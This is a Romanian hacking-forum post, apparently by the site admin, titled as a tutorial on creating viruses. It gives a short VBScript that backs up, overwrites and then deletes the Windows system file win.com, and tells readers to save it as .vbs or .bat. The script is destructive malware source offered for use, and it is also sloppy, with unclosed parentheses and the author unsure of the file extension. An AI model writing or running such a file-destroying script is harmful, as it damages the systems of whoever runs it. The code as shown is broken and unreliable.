Filehost.ro - gazduire fisiere
Hacking Romania
Veti fi raspunzatori de utilizarea inregistrarii dumneavoastra, indiferent daca ...
Nou pe simpatie:
barbyDana 25 ani
Femeie
25 ani
Bacau
cauta Barbat
28 - 46 ani
Hacking RomaniaReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
Hacking Romania / Hacking tools /

[Tutorial] Crearea Virusilor

Pagini: 1  
#1
admin
Administrator
Postari: 255
Creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele :


Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"
set fs2=fso.CreateTextFile("c:\windows\win.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close


Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele

!!!Atentie!!!   Nu dati dublu clik pe el     


 
   

Topicuri similare

Pagini: 1  
Mergi la